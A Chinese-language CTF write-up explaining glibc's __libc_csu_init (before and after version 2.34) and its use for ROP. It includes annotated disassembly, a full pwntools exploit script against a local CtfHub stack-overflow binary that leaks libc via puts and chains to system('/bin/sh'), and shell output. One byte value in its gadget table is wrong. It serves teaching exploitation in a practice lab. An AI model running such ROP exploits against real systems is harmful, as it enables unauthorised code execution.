1. CSU的初印象
CSU的全名的C Start Up,对于GCC编译出来的程序来讲,静态链接程序需要通过__libc_csu_init完成初始化的工作,当然它并不会直接运行main函数,main函数的启动仍是由__libc_start_main函数负责的。
GLibC源代码的下载路径:
1 | https://ftp.gnu.org/gnu/glibc/ |
对于GLibC版本小于2.34的版本来讲,由它生成的程序仍然是包含__libc_csu_init的,但是2.34版本以后,__libc_csu_init函数就已经消失了,这一改动的首要影响就是编译出来的文件内,文件中的二进制信息内不再含有__libc_csu_init函数了。
__libc_csu_init函数的源代码位于GLibC(<2.34)中csu目录下,对应的源代码文件是elf-init.c,所有的静态链接程序在最终的二进制信息中都会被插入这段代码。
1 2 3 4 5 6 7 8 9 | 2.33版本存在elf-init.c:ls ./glibc-2.33/csu/abi-note.c dso_handle.c errno.c gmon-start.c init-first.c libc-tls.c start.c sysdep.c Versionscheck_fds.c elf-init.c errno-loc.c init.c libc-start.c Makefile static-reloc.c version.c2.34版本不存在elf-init.c:ls ./glibc-2.34/csu/abi-note.c dso_handle.c errno-loc.c init.c libc-start.c Makefile static-reloc.c version.ccheck_fds.c errno.c gmon-start.c init-first.c libc-tls.c start.c sysdep.c Versions |
1.1 __libc_start_main的加载
对于GLibC来讲,不管是动态链接程序还是静态链接程序,其ELF文件头信息中的程序入口地址始终会指定_start函数,这是一段代码由GCC编译器插入进去的代码,_start函数标志着程序正式开始启动。
1 2 3 4 5 6 7 | 头信息:Entry point address: 0x4004d000000000004004d0 <_start>: ...... 105f: ff 15 5b 2f 00 00 call *0x2f5b(%rip) ...... |
_start函数肩负起了程序启动的重任,它的主要职责就是就是调用__libc_start_main函数,调用的方式是call指令,*0x..(%rip)代表rip+0x..地址上数据,这段数据在编译时会位于可读可写段内,当程序开始运行时,最先运行的LD会将该地址上的数据设置为__libc_start_main函数地址,然后再将该段的前部分设置为只读状态,此时应用程序就可以正确的对__libc_start_main函数进行调用,且不能修改只读部分的内存信息。
1 2 3 4 5 6 7 8 9 | 5号段: LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0 0x0000000000000248 0x0000000000000250 RW 0x1000只读保护段(可以看到只读保护段与5号段部分重合): GNU_RELRO 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0 0x0000000000000230 0x0000000000000230 R 0x105 .init_array .fini_array .dynamic .got .got.plt .data .bss |
这时我们将视线专注于__libc_start_main函数调用CSU的部分以及CSU负责的操作上。
1.2 最初的CSU(GLibC版本 < 2.34)
由于__libc_csu_init是和应用程序链接在一起的,所以函数地址在链接期就可以确定下来,_start函数只需要将函数的地址信息交给rcx寄存器,然后__libc_start_main函数的内部将rcx寄存器中的函数地址交给r14寄存器,最后通过call指令进行调用就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 | _start函数的赋值代码:0x00000000004004e6 <+22>: mov $0x400620,%rcx__libc_start_main函数调用的代码:call *%r14r14寄存器信息:info registers r14r14 0x400620 4195872__libc_csu_init函数地址信息:info functions __libc_csu_init0x0000000000400620 __libc_csu_init |
__libc_csu_init函数的内部,首先处理的是寄存器参数,由于r15、r14、r13等寄存器原本是调用者占用的,考虑到在本函数(被调用者)内还需要使用这些寄存器,所以先将它们保存到栈上,等函数结束时再恢复过来,这样既不耽误被调用者对寄存器的使用,也不耽误返回时调用函数对寄存器的使用。
完成寄存器的数据处理后,rbp寄存器中的地址存储着__do_global_dtors_aux函数的地址,r12寄存器中的地址存储着frame_dummy函数的地址(这个两个函数都是编译器放入ELF文件内的),接下来会将rbp和r12中的地址相减并右移3位,右移3位相当于书中除以8,这个操作相当于获得一段区域占用的空间大小,然后根据单个元素的大小计算空间内的元素数量,暂时猜测这里的每一个元素都是地址(64位系统下的8位地址)。
通过查看ELF文件的节信息可以确定,rbp寄存器(地址:600e18)和r12寄存器(地址:600e10)分别对应.init_array节的结束和起始位置。
1 2 | [18] .init_array INIT_ARRAY 0000000000600e10 00000e10 0000000000000008 0000000000000008 WA 0 0 8 |
完成元素个数的计算后,会调用_init函数,在函数调用前后设置edi和rsi寄存器,是因为它们是调用者使用的寄存器,避免_init函数的内部改变寄存器数据,使得__libc_csu_init函数无法使用它们,_init函数也是GCC编译器将它假如到二进制文件内的,这里我们先略过它。
_init函数结束之后,就会根据元素个数决定是否进入循环,其中test指令是不改变操作数的与运算,只有操作数为0时才是假的,否则一直为真,已经循环的次数通过ebx寄存器统计,add和cmp指令使得ebx不断递增1并和总次数rbp进行比较。
循环体的内部,rdi、rsi、rdx负责传递三个参数,被调用的函数则由r12加上ebx乘8得到的地址决定的(每次偏移一个地址)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | 0000000000400620 <__libc_csu_init>: 400620: 41 57 push %r15 400622: 41 56 push %r14 400624: 49 89 d7 mov %rdx,%r15 400627: 41 55 push %r13 400629: 41 54 push %r12 40062b: 4c 8d 25 de 07 20 00 lea 0x2007de(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 400632: 55 push %rbp 400633: 48 8d 2d de 07 20 00 lea 0x2007de(%rip),%rbp # 600e18 <__do_global_dtors_aux_fini_array_entry> 40063a: 53 push %rbx 寄存器数据处理阶段,保存调用者使用的寄存器数据 40063b: 41 89 fd mov %edi,%r13d 40063e: 49 89 f6 mov %rsi,%r14 400641: 4c 29 e5 sub %r12,%rbp 400644: 48 83 ec 08 sub $0x8,%rsp 400648: 48 c1 fd 03 sar $0x3,%rbp 循环次数的计算 40064c: e8 27 fe ff ff call 400478 <_init> 函数调用 400651: 48 85 ed test %rbp,%rbp 400654: 74 20 je 400676 <__libc_csu_init+0x56> 400656: 31 db xor %ebx,%ebx 400658: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 40065f: 00 400660: 4c 89 fa mov %r15,%rdx 400663: 4c 89 f6 mov %r14,%rsi 400666: 44 89 ef mov %r13d,%edi 400669: 41 ff 14 dc call *(%r12,%rbx,8) 40066d: 48 83 c3 01 add $0x1,%rbx 400671: 48 39 dd cmp %rbx,%rbp 400674: 75 ea jne 400660 <__libc_csu_init+0x40> 400676: 48 83 c4 08 add $0x8,%rsp 下面操作对应寄存器数据处理阶段,用于还原调用者使用的寄存器数据 40067a: 5b pop %rbx 40067b: 5d pop %rbp 40067c: 41 5c pop %r12 40067e: 41 5d pop %r13 400680: 41 5e pop %r14 400682: 41 5f pop %r15 400684: c3 ret 400685: 90 nop 400686: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 40068d: 00 00 00 |
分析完上面的反汇编代码后,我们可以了解到__libc_csu_init函数的主要作用就是根据.init_array节中函数进行初始化。
1.3 后CSU时代(GLibC版本 >= 2.34)
当GLibC的版本来到2.34时,根据.init_array节进行初始化的操作当然还在,只不过将代码放到了动态链接库内,不再与二进制文件绑定在一起。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | static voidcall_init (int argc, char **argv, char **envp){ /* For static executables, preinit happens right before init. */ { const size_t size = __preinit_array_end - __preinit_array_start; size_t i; for (i = 0; i < size; i++) (*__preinit_array_start [i]) (argc, argv, envp); }# if ELF_INITFINI _init ();# endif const size_t size = __init_array_end - __init_array_start; for (size_t i = 0; i < size; i++) (*__init_array_start [i]) (argc, argv, envp);} |
2. 利用方向
从__libc_csu_init函数中可以知道,生成的汇编代码内存在着大量pop寄存器的操作,而且ret指令与它们相距很近,造成该现象的原因由两个,一是调用.init_array节中函数前有其他函数被调用(_init函数),二是__libc_csu_init函数会将接收到的参数直接进行传递,这就导致很多寄存器都有了先保存到栈后再恢复的操作。
在这大量的pop寄存器操作中,由于pop r数值的特殊性(最后一个字节对应寄存器的pop操作),使得可以利用的寄存器有获得了一次扩充的机会。
1 2 3 4 5 6 7 8 9 10 11 | -----------------------------------| 指令 | 字节 ; 指令 | 字节 || pop rax | 58 ; pop r8 | 41 58 || pop rcx | 59 ; pop r9 | 41 59 || pop rdx | 5a ; pop r10 | 41 5a || pop rbx | 5b ; pop r11 | 41 5b || pop rsp | 5c ; pop r12 | 41 4c || pop rbp | 5d ; pop r13 | 41 5d || pop rsi | 5e ; pop r14 | 41 5e || pop rdi | 5f ; pop r15 | 41 5f |----------------------------------- |
除了pop指令外,下面的call指令也是一段很好的利用区域。
1 2 3 4 | 400660: 4c 89 fa mov %r15,%rdx400663: 4c 89 f6 mov %r14,%rsi400666: 44 89 ef mov %r13d,%edi400669: 41 ff 14 dc call *(%r12,%rbx,8) |
3. 示例讲解
通过查看程序的反汇编结果可以知道,程序由main函数和vulnerable_function函数两个部分组成,其中vulnerable_function函数存在明显的溢出(缓冲区变量大小0x40,接收0x200),除此之外main函数中还存在一个puts函数,打印rdi保存地址上字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | 00000000004005b7 <vulnerable_function>: 4005b7: 55 push %rbp 4005b8: 48 89 e5 mov %rsp,%rbp 4005bb: 48 83 ec 40 sub $0x40,%rsp 4005bf: 48 8d 45 c0 lea -0x40(%rbp),%rax 4005c3: ba 00 02 00 00 mov $0x200,%edx 4005c8: 48 89 c6 mov %rax,%rsi 4005cb: bf 00 00 00 00 mov $0x0,%edi 4005d0: e8 db fe ff ff call 4004b0 <read@plt> 4005d5: 90 nop 4005d6: c9 leave 4005d7: c3 ret00000000004005d8 <main>: 4005d8: 55 push %rbp 4005d9: 48 89 e5 mov %rsp,%rbp 4005dc: 48 83 ec 50 sub $0x50,%rsp 4005e0: 89 7d bc mov %edi,-0x44(%rbp) 4005e3: 48 89 75 b0 mov %rsi,-0x50(%rbp) 4005e7: 48 8d 3d ba 00 00 00 lea 0xba(%rip),%rdi # 4006a8 <_IO_stdin_used+0x8> 4005ee: e8 ad fe ff ff call 4004a0 <puts@plt> 4005f3: 48 8b 05 46 0a 20 00 mov 0x200a46(%rip),%rax # 601040 <stdout@GLIBC_2.2.5> 4005fa: 48 89 c7 mov %rax,%rdi 4005fd: e8 be fe ff ff call 4004c0 <fflush@plt> 400602: b8 00 00 00 00 mov $0x0,%eax 400607: e8 ab ff ff ff call 4005b7 <vulnerable_function> 40060c: b8 00 00 00 00 mov $0x0,%eax 400611: c9 leave 400612: c3 ret 400613: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 40061a: 00 00 00 40061d: 0f 1f 00 nopl (%rax)0000000000400620 <__libc_csu_init>: 400620: 41 57 push %r15 400622: 41 56 push %r14 400624: 49 89 d7 mov %rdx,%r15 400627: 41 55 push %r13 400629: 41 54 push %r12 40062b: 4c 8d 25 de 07 20 00 lea 0x2007de(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 400632: 55 push %rbp 400633: 48 8d 2d de 07 20 00 lea 0x2007de(%rip),%rbp # 600e18 <__do_global_dtors_aux_fini_array_entry> 40063a: 53 push %rbx 40063b: 41 89 fd mov %edi,%r13d 40063e: 49 89 f6 mov %rsi,%r14 400641: 4c 29 e5 sub %r12,%rbp 400644: 48 83 ec 08 sub $0x8,%rsp 400648: 48 c1 fd 03 sar $0x3,%rbp 40064c: e8 27 fe ff ff call 400478 <_init> 400651: 48 85 ed test %rbp,%rbp 400654: 74 20 je 400676 <__libc_csu_init+0x56> 400656: 31 db xor %ebx,%ebx 400658: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 40065f: 00 400660: 4c 89 fa mov %r15,%rdx 400663: 4c 89 f6 mov %r14,%rsi 400666: 44 89 ef mov %r13d,%edi 400669: 41 ff 14 dc call *(%r12,%rbx,8) 40066d: 48 83 c3 01 add $0x1,%rbx 400671: 48 39 dd cmp %rbx,%rbp 400674: 75 ea jne 400660 <__libc_csu_init+0x40> 400676: 48 83 c4 08 add $0x8,%rsp 40067a: 5b pop %rbx 40067b: 5d pop %rbp 40067c: 41 5c pop %r12 40067e: 41 5d pop %r13 400680: 41 5e pop %r14 400682: 41 5f pop %r15 400684: c3 ret 400685: 90 nop 400686: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 40068d: 00 00 00 |
当前程序来自于CtfHub中PWN技能树内的rop,保护情况如下所示。
1 2 3 4 5 6 7 8 | cat /proc/sys/kernel/randomize_va_space 2Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000) |
梳理一下我们现在能干些什么!
首先我们只知道ELF文件的地址,对堆栈及动态链接库的地址一无所知,其次由于金丝雀的确实,尽管栈是不可执行的状态,但我们可以肆无忌惮的利用ROP达到想要的目的,谁让是CSU提供给我们足够的利用空间并且让我们可以掌握了它的地址呢!
3.1 exploit的构造
漏洞利用脚本的构造分成两个部分,第一个部分通过CSU设置puts需要泄露的LibC信息,然后返回主函数中的puts对信息进行泄露,此时vulnerable_function会再次执行,我们也会再一次获得栈溢出的机会,随后根据泄露的LibC地址,获取LibC的基地址,构造调用system("/bin/sh")的ROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | import osimport pwnimport structpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux')target_info = { 'exec_path': './with_csu', 'addr_len': 0x8, 'bufvar2stack': 0x40, 'csu_pop_rdi_ret': 0x400683, 'elf_libc_stdout': 0x601040, 'libc_stdout_io': 0x1e85c0, 'own_puts_addr': 0x4005ee, 'libc_base': 0x0, 'pop_rdi_ret': 0x2493d, 'bin_sh_str': 0x1afe43, 'ret_offset': 0x2493e, 'system_func': 0x51c30,}payload = b'A' * target_info['bufvar2stack']payload += b'B' * target_info['addr_len']payload += pwn.p64(target_info['csu_pop_rdi_ret'])payload += pwn.p64(target_info['elf_libc_stdout'])payload += pwn.p64(target_info['own_puts_addr'])pwn.context.binary = pwn.ELF(target_info['exec_path'])conn = pwn.process(target_info['exec_path'])ret = conn.recv()print('[**] receive {0}'.format(ret))conn.send(payload)ret = conn.recv()ret = int.from_bytes(ret[:-1], byteorder='little')print('[**] receive {0}'.format(hex(ret)))target_info['libc_base'] = ret - target_info['libc_stdout_io']print('[--] libc base addr {0}'.format(hex(target_info['libc_base'])))payload = payload = b'A' * target_info['bufvar2stack']payload += b'B' * target_info['addr_len']payload += pwn.p64(target_info['libc_base'] + target_info['pop_rdi_ret'])payload += pwn.p64(target_info['libc_base'] + target_info['bin_sh_str'])payload += pwn.p64(target_info['libc_base'] + target_info['ret_offset'])payload += pwn.p64(target_info['libc_base'] + target_info['system_func'])conn.send(payload)conn.interactive() |
运行漏洞利用脚本后,成功获取Shell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process './with_csu': pid 6378[**] receive b'Welcome to CTFHub rop.Input someting:\n\n'[**] receive 0x7eb0e64295c0[--] libc base addr 0x7eb0e6241000[*] Switching to interactive mode$ iduid=1000(nora) gid=1000(nora) groups=1000(nora),3(sys),90(network),98(power),991(lp),998(wheel)$ exit[*] Got EOF while reading in interactive |